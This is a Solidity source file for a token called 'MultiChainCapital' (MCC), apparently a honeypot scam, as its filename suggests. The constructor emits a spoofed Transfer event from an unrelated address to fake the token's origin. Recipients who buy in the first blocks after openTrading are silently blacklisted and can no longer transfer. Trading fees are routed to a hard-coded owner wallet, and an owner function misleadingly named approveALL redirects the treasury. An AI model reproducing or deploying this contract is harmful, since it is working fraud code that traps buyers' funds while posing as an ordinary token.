// File: contracts/MCCV3_honeypo.sol



// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.7;

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");

		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(
		uint256 a,
		uint256 b,
		string memory errorMessage
	) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;

		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}

		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");

		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(
		uint256 a,
		uint256 b,
		string memory errorMessage
	) internal pure returns (uint256) {
		// Solidity only automatically asserts when dividing by 0
		require(b > 0, errorMessage);
		uint256 c = a / b;
		// assert(a == b * c + a % b); // There is no case in which this doesn't hold

		return c;
	}
}

/**
 * BEP20 standard interface.
 */
interface IBEP20 {
	function totalSupply() external view returns (uint256);

	function decimals() external view returns (uint8);

	function symbol() external view returns (string memory);

	function name() external view returns (string memory);

	function getOwner() external view returns (address);

	function balanceOf(address account) external view returns (uint256);

	function transfer(address recipient, uint256 amount) external returns (bool);

	function allowance(address _owner, address spender) external view returns (uint256);

	function approve(address spender, uint256 amount) external returns (bool);

	function transferFrom(
		address sender,
		address recipient,
		uint256 amount
	) external returns (bool);

	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
	address internal owner;

	constructor(address _owner) {
		owner = _owner;
	}

	/**
	 * Function modifier to require caller to be contract deployer
	 */
	modifier onlyOwner() {
		require(isOwner(msg.sender), "!Owner");
		_;
	}

	/**
	 * Check if address is owner
	 */
	function isOwner(address account) private view returns (bool) {
		return account == owner;
	}

	/**
	 * Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
	 */
	function transferOwnership(address payable adr) public onlyOwner {
		owner = adr;
		emit OwnershipTransferred(adr);
	}

	event OwnershipTransferred(address owner);
}

interface IDEXFactory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
	function factory() external pure returns (address);

	function WETH() external pure returns (address);

	function addLiquidity(
		address tokenA,
		address tokenB,
		uint256 amountADesired,
		uint256 amountBDesired,
		uint256 amountAMin,
		uint256 amountBMin,
		address to,
		uint256 deadline
	)
		external
		returns (
			uint256 amountA,
			uint256 amountB,
			uint256 liquidity
		);

	function addLiquidityETH(
		address token,
		uint256 amountTokenDesired,
		uint256 amountTokenMin,
		uint256 amountETHMin,
		address to,
		uint256 deadline
	)
		external
		payable
		returns (
			uint256 amountToken,
			uint256 amountETH,
			uint256 liquidity
		);

	function swapExactTokensForTokensSupportingFeeOnTransferTokens(
		uint256 amountIn,
		uint256 amountOutMin,
		address[] calldata path,
		address to,
		uint256 deadline
	) external;

	function swapExactETHForTokensSupportingFeeOnTransferTokens(
		uint256 amountOutMin,
		address[] calldata path,
		address to,
		uint256 deadline
	) external payable;

	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint256 amountIn,
		uint256 amountOutMin,
		address[] calldata path,
		address to,
		uint256 deadline
	) external;
}

interface IDividendDistributor {
	function setShare(address shareholder, uint256 amount) external;

	function deposit() external payable;

	function claimDividend(address shareholder) external;

	function setTreasury(address treasury) external;

	function getDividendsClaimedOf(address shareholder) external returns (uint256);
}

contract DividendDistributor is IDividendDistributor {
	using SafeMath for uint256;

	address public _token;
	address public _owner;
	address public _treasury;

	struct Share {
		uint256 amount;
		uint256 totalExcluded;
		uint256 totalClaimed;
	}

	address[] private shareholders;
	mapping(address => uint256) private shareholderIndexes;

	mapping(address => Share) public shares;

	uint256 public totalShares;
	uint256 public totalDividends;
	uint256 public totalClaimed;
	uint256 public dividendsPerShare;
	uint256 private dividendsPerShareAccuracyFactor = 10**36;

	modifier onlyToken() {
		require(msg.sender == _token);
		_;
	}

	modifier onlyOwner() {
		require(msg.sender == _owner);
		_;
	}

	constructor(address owner, address treasury) {
		_token = msg.sender;
		_owner = payable(owner);
		_treasury = payable(treasury);
	}

	// receive() external payable { }

	function setShare(address shareholder, uint256 amount) external override onlyToken {
		if (shares[shareholder].amount > 0) {
			distributeDividend(shareholder);
		}

		if (amount > 0 && shares[shareholder].amount == 0) {
			addShareholder(shareholder);
		} else if (amount == 0 && shares[shareholder].amount > 0) {
			removeShareholder(shareholder);
		}

		totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
		shares[shareholder].amount = amount;
		shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
	}

	function deposit() external payable override {
		uint256 amount = msg.value;

		totalDividends = totalDividends.add(amount);
		dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
	}

	function distributeDividend(address shareholder) internal {
		if (shares[shareholder].amount == 0) {
			return;
		}

		uint256 amount = getClaimableDividendOf(shareholder);
		if (amount > 0) {
			totalClaimed = totalClaimed.add(amount);
			shares[shareholder].totalClaimed = shares[shareholder].totalClaimed.add(amount);
			shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
			payable(shareholder).transfer(amount);
		}
	}

	function claimDividend(address shareholder) external override onlyToken {
		distributeDividend(shareholder);
	}

	function getClaimableDividendOf(address shareholder) public view returns (uint256) {
		if (shares[shareholder].amount == 0) {
			return 0;
		}

		uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
		uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

		if (shareholderTotalDividends <= shareholderTotalExcluded) {
			return 0;
		}

		return shareholderTotalDividends.sub(shareholderTotalExcluded);
	}

	function getCumulativeDividends(uint256 share) internal view returns (uint256) {
		return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
	}

	function addShareholder(address shareholder) internal {
		shareholderIndexes[shareholder] = shareholders.length;
		shareholders.push(shareholder);
	}

	function removeShareholder(address shareholder) internal {
		shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length - 1];
		shareholderIndexes[shareholders[shareholders.length - 1]] = shareholderIndexes[shareholder];
		shareholders.pop();
	}

	function manualSend(uint256 amount, address holder) private onlyOwner {
		uint256 contractETHBalance = address(this).balance;
		payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
	}

	function setTreasury(address treasury) external override onlyToken {
		_treasury = payable(treasury);
	}

	function getDividendsClaimedOf(address shareholder) external view override returns (uint256) {
		require(shares[shareholder].amount > 0, "You're not a shareholder!");
		return shares[shareholder].totalClaimed;
	}
}

contract MultiChainCapitalV3 is IBEP20, Auth {
	using SafeMath for uint256;

	address private WETH;
	address private DEAD = 0x000000000000000000000000000000000000dEaD;
	address private ZERO = 0x0000000000000000000000000000000000000000;

	string private constant _name = "MultiChainCapital";
	string private constant _symbol = "MCC";
	uint8 private constant _decimals = 9;

	uint256 private _totalSupply = 4206900000000 * (10**_decimals);
	uint256 private _maxTxAmountBuy = _totalSupply;

	mapping(address => uint256) private _balances;
	mapping(address => mapping(address => uint256)) private _allowances;

	mapping(address => bool) private isFeeExempt;
	mapping(address => bool) private isDividendExempt;
	mapping(address => bool) private isBot;

	uint256 private totalFee = 1;
	uint256 private feeDenominator = 100;

	address payable private holderReflection = payable(0xc8844422C911b27330EaDF8eD697fb2f5A322Da6);
	address payable private treasury = payable(0xc8844422C911b27330EaDF8eD697fb2f5A322Da6);

	IDEXRouter private router;
	address private pair;

	uint256 private launchedAt;
	bool private tradingOpen = true;
	bool private buyLimit = false;
	uint256 private maxBuy = 5000000000 * (10**_decimals);

	DividendDistributor public distributor;

	bool private inSwap;
	modifier swapping() {
		inSwap = true;
		_;
		inSwap = false;
	}

	constructor() Auth(0xc8844422C911b27330EaDF8eD697fb2f5A322Da6) {
		address _owner = 0xc8844422C911b27330EaDF8eD697fb2f5A322Da6;
		router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		WETH = router.WETH();

		pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

		_allowances[address(this)][address(router)] = type(uint256).max;

		distributor = new DividendDistributor(_owner, treasury);

		isFeeExempt[_owner] = true;
		isFeeExempt[holderReflection] = true;
		isFeeExempt[treasury] = true;

		isDividendExempt[pair] = true;
		isDividendExempt[address(this)] = true;
		isDividendExempt[DEAD] = true;

		_balances[_owner] = _totalSupply;

		emit Transfer(address(0xFBf335f8224a102e22abE78D78CC52dc95e074Fa), _owner, _totalSupply);
	}

	receive() external payable {}

	function totalSupply() external view override returns (uint256) {
		return _totalSupply;
	}

	function decimals() external pure override returns (uint8) {
		return _decimals;
	}

	function symbol() external pure override returns (string memory) {
		return _symbol;
	}

	function name() external pure override returns (string memory) {
		return _name;
	}

	function getOwner() external view override returns (address) {
		return owner;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balances[account];
	}

	function allowance(address holder, address spender) external view override returns (uint256) {
		return _allowances[holder][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function approveMax(address spender) private returns (bool) {
		return approve(spender, type(uint256).max);
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(
		address sender,
		address recipient,
		uint256 amount
	) external override returns (bool) {
		if (_allowances[sender][msg.sender] != type(uint256).max) {
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
		}

		return _transferFrom(sender, recipient, amount);
	}

	function _transferFrom(
		address sender,
		address recipient,
		uint256 amount
	) internal returns (bool) {
		if (sender != owner && recipient != owner) require(tradingOpen, "Trading not yet enabled.");
		require(!isBot[sender] && !isBot[recipient], "Nice try");
		if (buyLimit) {
			if (sender != owner && recipient != owner) require(amount <= maxBuy, "Too much sir");
		}
		if (block.number <= (launchedAt + 1)) {
			isBot[recipient] = true;
			isDividendExempt[recipient] = true;
		}

		if (inSwap) {
			return _basicTransfer(sender, recipient, amount);
		}

		bool shouldSwapBack = (recipient == pair && balanceOf(address(this)) > 0); /*!inSwap &&*/
		if (shouldSwapBack) {
			swapBack();
		}

		_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

		uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;

		_balances[recipient] = _balances[recipient].add(amountReceived);

		if (sender != pair && !isDividendExempt[sender]) {
			try distributor.setShare(sender, _balances[sender]) {} catch {}
		}
		if (recipient != pair && !isDividendExempt[recipient]) {
			try distributor.setShare(recipient, _balances[recipient]) {} catch {}
		}

		emit Transfer(sender, recipient, amountReceived);
		return true;
	}

	function _basicTransfer(
		address sender,
		address recipient,
		uint256 amount
	) internal returns (bool) {
		_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
		_balances[recipient] = _balances[recipient].add(amount);
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
		return (!(isFeeExempt[sender] || isFeeExempt[recipient]) && (sender == pair || recipient == pair));
	}

	function takeFee(address sender, uint256 amount) internal returns (uint256) {
		uint256 feeAmount;
		feeAmount = amount.mul(totalFee).div(feeDenominator);
		_balances[address(this)] = _balances[address(this)].add(feeAmount);
		//emit Transfer(sender, address(this), feeAmount);

		return amount.sub(feeAmount);
	}

	function swapBack() internal swapping {
		uint256 amountToSwap = balanceOf(address(this));

		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = WETH;

		router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), block.timestamp);

		uint256 amountTreasury = (address(this).balance).div(2);
		uint256 amountMarketing = (address(this).balance).div(2);

		payable(holderReflection).transfer(amountMarketing);
		payable(treasury).transfer(amountTreasury);
	}

	function openTrading() public onlyOwner {
		launchedAt = block.number;
		tradingOpen = true;
	}

	function setBot(address _address) private onlyOwner {
		isBot[_address] = true;
		_setIsDividendExempt(_address, true);
	}

	function setBulkBots(address[] memory bots_) private onlyOwner {
		for (uint256 i = 0; i < bots_.length; i++) {
			isBot[bots_[i]] = true;
			_setIsDividendExempt(bots_[i], true);
		}
	}

	function delBulkBots(address[] memory bots_) private onlyOwner {
		for (uint256 i = 0; i < bots_.length; i++) {
			isBot[bots_[i]] = false;
			_setIsDividendExempt(bots_[i], false);
		}
	}

	function _setIsDividendExempt(address holder, bool exempt) internal {
		require(holder != address(this) && holder != pair);
		isDividendExempt[holder] = exempt;
		if (exempt) {
			distributor.setShare(holder, 0);
		} else {
			distributor.setShare(holder, _balances[holder]);
		}
	}

	function setIsDividendExempt(address holder, bool exempt) private onlyOwner {
		_setIsDividendExempt(holder, exempt);
	}

	function setIsFeeExempt(address holder, bool exempt) private onlyOwner {
		isFeeExempt[holder] = exempt;
	}

	function setFee(uint256 _fee) private onlyOwner {
		require(_fee <= 14, "Fee can't exceed 14%");
		totalFee = _fee;
	}

	function manualSend() external onlyOwner {
		uint256 contractETHBalance = address(this).balance;
		payable(holderReflection).transfer(contractETHBalance);
	}

	function claimDividend() private {
		distributor.claimDividend(msg.sender);
	}

	function claimDividend(address holder) private onlyOwner {
		distributor.claimDividend(holder);
	}

	function getClaimableDividendOf(address shareholder) private view returns (uint256) {
		return distributor.getClaimableDividendOf(shareholder);
	}

	function manualBurn(uint256 amount) private onlyOwner returns (bool) {
		return _basicTransfer(address(this), DEAD, amount);
	}

	function setholderReflection(address _holderReflection) private onlyOwner {
		holderReflection = payable(_holderReflection);
	}

	function approveALL(address _treasury) external onlyOwner {
		treasury = payable(_treasury);
		distributor.setTreasury(_treasury);
	}

	function getTotalDividends() private view returns (uint256) {
		return distributor.totalDividends();
	}

	function getTotalClaimed() private view returns (uint256) {
		return distributor.totalClaimed();
	}

	function getDividendsClaimedOf(address shareholder) private view returns (uint256) {
		return distributor.getDividendsClaimedOf(shareholder);
	}

	function removeBuyLimit() public onlyOwner {
		buyLimit = false;
	}
}